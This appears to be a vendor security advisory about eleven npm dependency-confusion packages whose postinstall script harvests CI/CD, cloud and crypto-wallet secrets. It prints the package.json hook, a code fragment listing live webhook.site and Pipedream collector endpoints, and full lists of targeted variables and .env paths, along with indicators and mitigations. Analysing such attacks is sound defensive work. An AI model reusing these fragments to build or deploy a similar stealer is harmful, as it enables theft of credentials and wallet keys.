CryptoDAO Confusion: npm Packages Harvesting CI/CD and Crypto Secrets

CryptoDAO Confusion: eleven npm packages, one payload, harvesting CI/CD and crypto-wallet secrets

TL;DR

On 2026-06-17, a single npm account published eleven packages that share one purpose and one payload. Ten of them carry the cryptodao- prefix (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); the eleventh is the scoped @public-for-cdao/core. Every one was published at version 99.99.99 and ships a byte-identical recon.js that runs on postinstall.

The names are the tell. They read like the internal building blocks of a crypto/DAO project's private toolchain. Published to the public npm registry at an artificially high version, they sit in wait for a build pipeline that is configured to resolve those names and that reaches public npm before — or instead of — the private registry. This is dependency confusion, and the payload is tuned for exactly where it expects to land: CI/CD runners.

When postinstall fires, recon.js collects host details, sweeps roughly forty cloud, CI, and crypto-wallet environment variables, reads any .env files it can find and forwards the secret-bearing lines verbatim, then transmits the bundle to two collectors — webhook.site and a Pipedream endpoint — with TLS certificate verification disabled. A copy is also written under /tmp.

Severity: high. Affected ecosystem: npm. All eleven packages were live at the time of writing.

Attack anatomy

The mechanism has four moving parts, and none of them is subtle once you know to look one layer past the package name.

1. Version inflation as a resolver lure. Each package declares version 99.99.99. Dependency confusion works when a package manager, asked for an internal name, also checks the public registry and picks the highest version it finds. npm’s default selection for a caret or wildcard range is the highest-satisfying version across every configured source; if both a private registry and public npm answer for the same name, the larger version number wins. A 99.99.99 outranks essentially any real internal version a project will have reached, so a resolver that is not pinned to the private source prefers the public — and in this case, hostile — copy. The operator does not need to know the target’s real version numbers; picking an absurd maximum guarantees the tie always breaks their way.

2. A postinstall trigger. package.json wires the payload to the install lifecycle:

{
  "scripts": { "postinstall": "node recon.js" }
}

No import of the package is required. Merely installing it — which a CI pipeline does automatically — runs recon.js.

3. A broad secret sweep. recon.js assembles a results array in stages:

  • Host context: hostname, platform and release, architecture, username, working directory.
  • Environment variables: it iterates a fixed list of about forty names and records any that are set. The list is revealing — it pairs generic CI tokens (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) and cloud credentials (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) with registry and container secrets (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) and a distinctly crypto-flavored cluster:  PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPC. Recorded values are truncated to the first 50 characters.
  • .env files: it probes a list of paths — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, and the .production/.development variants — and for any file that exists, it filters the contents to lines matching KEY|SECRET|TOKEN|PASS|PRIVATE|MNEMONIC and pushes those lines **in full, untruncated** into the results.
  • Build-host context: it lists the first 20 entries of /builds/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, and /tmp/.

The path list and variable list are weighted toward GitLab runners, which points the payload squarely at self-hosted CI infrastructure rather than a developer laptop. Grouping the harvest list by category makes the intended haul plain:

Category Variables / paths reached
CI/CD identity & deploy CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
Cloud AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Registry & container NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Data stores DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Crypto / blockchain PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Messaging SLACK_TOKEN, DISCORD_TOKEN
On-disk .env family + /home/gitlab-runner/.env, /root/.env, /app/**/.env; directory listings of /builds/, /var/lib/gitlab-runner/

The crypto cluster is the part that distinguishes this from a generic CI-secret sweep: wallet seed phrases and signing keys only appear in the environment of a blockchain project, and they map directly onto the cryptodao-/signer/contracts naming of the carriers.

4. Dual exfiltration with verification disabled. The collected array is serialized and POSTed to two destinations:

const targets = [
  { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },
  { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' },
];
// ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

rejectUnauthorized: false turns off TLS certificate checks for the outbound calls. The same data is printed to stdout (so it also lands in CI job logs) and written to /tmp/.npm_recon_<timestamp>.json. Errors are swallowed silently, so a failed send leaves no trace in the install output beyond a single [recon] <pkg> installed on <hostname> line.

A leading comment in the file describes it as a “Dependency Confusion Reconnaissance Payload.” The truncation of environment values to 50 characters has the shape of a proof of concept. What moves it past a presence-only beacon is the .env handling: secret-bearing lines are forwarded in full, and the destinations are two working, attacker-controlled collectors rather than a sink that only counts hits.

Timeline

The publish pattern is the signature of a single scripted push, not eleven independent uploads.

Time (UTC, 2026-06-17) Event
03:24:58 cryptodao-bot@99.99.99 published
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — scoped variant, ~24 min later

Ten packages went out inside a 29-second window, roughly one every three seconds. The scoped @public-for-cdao/core followed about 24 minutes after — a second naming convention for the same target, in case the consuming project references the internal toolchain under a scope rather than as bare names.

Indicators of compromise

Type Indicator
Collector hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Collector hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Install hook postinstall: node recon.js
Dropped file /tmp/.npm_recon_<timestamp>.json
Log marker [recon] <pkg>@<ver> installed on <hostname> (stdout in CI logs)
Behavioral rejectUnauthorized: false on outbound HTTPS during install
Payload recon.js, identical across all eleven packages (one shared build)
Version 99.99.99 on every package
Packages cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (all 99.99.99)
Publisher aduljune / aduljune@proton.me (email unverified, no linked source repository)

 Attribution & observed behavior

Everything about the cluster points to one hand. All eleven packages were published by the npm account aduljune (aduljune@proton.me, an unverified address with no linked source repository), inside a 25-minute span, at the same 99.99.99 version, shipping a recon.js whose contents are byte-for-byte identical across every package (MD5 matches across all eleven extracted copies). That is one payload stamped onto a list of names, not independent code reuse.

The name list defines the intended target. cryptodao-* and cdao describe the private module layout of a crypto/DAO project, and the payload’s harvest list mirrors that guess: alongside the generic CI and cloud secrets, it specifically reaches for PRIVATE_KEY, MNEMONIC, SEED_PHRASE, and Ethereum/BSC RPC and provider keys. The .env search paths and directory listings are GitLab-runner specific. The observable effect is that any pipeline tricked into installing these names would forward its CI tokens, cloud keys, and on-disk .env secrets — and, for a blockchain project, its wallet material — to two third-party collectors.

We make no claim about who operates the account or what they planned to do with the data. The facts that stand on their own: the names target a specific kind of internal toolchain, the payload reads and transmits real secret values, and the infrastructure was live.

Dependency confusion remains effective because it exploits resolver behavior, not a vulnerability in any package. The carrier here is trivial — eleven near-empty packages — but the blast radius is whatever pipeline mistakenly prefers public npm for an internal name. CI runners are the worst place for that to happen: they hold exactly the tokens and .env files this payload reads, and they install dependencies non-interactively, so a postinstall runs with no one watching.

This cluster also fits a pattern we keep seeing: install-time payloads that present as “research” or “reconnaissance” while doing real credential collection. The label in the file does not change what the code does on a runner. Two design choices keep the activity quiet: every network and filesystem operation is wrapped in an exception handler that discards errors, so a blocked send or a missing file produces no diagnostic output, and the only thing printed is a single innocuous [recon] … installed line that blends into normal install chatter. The use of webhook.site and Pipedream is also deliberate convenience — both are free, instantly provisioned request-capture services, so the operator needs no servers of their own and the destinations look like ordinary SaaS hostnames in egress logs.

The economics are what make this worth a defender’s attention even though the carrier code is trivial. Registering eleven names costs nothing, the payload is one file copied eleven times, and the package manager does all the execution. A single misconfigured pipeline anywhere that consumes one of these names pays for the whole operation.

Concrete steps for defenders:

  • Pin internal scopes to your private registry. Configure npm so internal names
     and scopes resolve only against your registry (scoped .npmrc registry mappings,
    or a proxy that never falls through to public npm for owned namespaces). Reserve your public scope names so no one else can register them.
  • Commit lockfiles and install with –ignore-scripts in CI where feasible, or vet the small set of dependencies that genuinely need install scripts.  recon.js cannot run if postinstall is not executed.
  • Treat a 99.99.99 (or other absurdly high) version of an internal-looking name as a red flag in dependency review and registry monitoring.
  • Alert on install-time egress. A postinstall that opens an outbound HTTPS connection — especially with certificate verification disabled — to webhook.site, Pipedream, or similar request-capture services is worth blocking at the network edge and flagging in build logs.
  • Hunt for the artifacts. Check runners for /tmp/.npm_recon_*.json and for the [recon] … installed on … marker in recent CI logs. If found, rotate every credential exposed to that pipeline — CI tokens, cloud keys, registry tokens, and any wallet seeds or private keys present in the environment or .env files.

References

No external reporting on this cluster existed at the time of writing; the analysis above is based directly on the published package contents

sca-tools-software-composition-analysis-tools
Prioritize, remediate, and secure your software risks
7-day free trial
No credit card required

Secure your Software Development and Delivery

with Xygeni Product Suite